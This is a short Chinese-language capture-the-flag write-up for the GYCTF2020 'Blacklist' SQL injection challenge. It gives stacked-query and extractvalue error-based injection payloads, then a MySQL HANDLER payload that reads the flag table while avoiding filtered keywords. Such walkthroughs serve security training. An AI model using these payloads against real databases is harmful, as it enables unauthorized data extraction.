[GYCTF2020]Blacklist 1
在做本题的时候,我们发现过滤掉了很多的关键字 很多注入方法已经没有办法使用(联合查询 布尔盲注 updataxml的报错注入) 并且发现本关的注入方法为 单引号 只能使用 堆叠注入 来进行查询查寻 库名 表名
1';show databases
库名:supersqli
在这里 因为没有禁用 extractvalue 所以在这里我们可以构造出 extractvalue 报错注入 来查询库名
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))
1';show tables
表名:words 和 FlagHere 分别查看这两个表
1'; show columns from `words`
1'; show columns from `FlagHere`
words表里有两个属性,即两列:id 和data,而FlagHere表里只有一个属性列,说明输入框可能查询的就是words表 很像我们做过的随便注
但,在这一关过滤掉了flag和rename,并且不区分大小写 换句话说我们没有办法像随便住那样将 flaghere这个表改名为words 所以我们需要尝试别的思路 Handler
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。
HANDLER … OPEN语句打开一个表 HANDLER … READ语句访问 HANDLER … CLOSE关闭一个表
构造payload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
|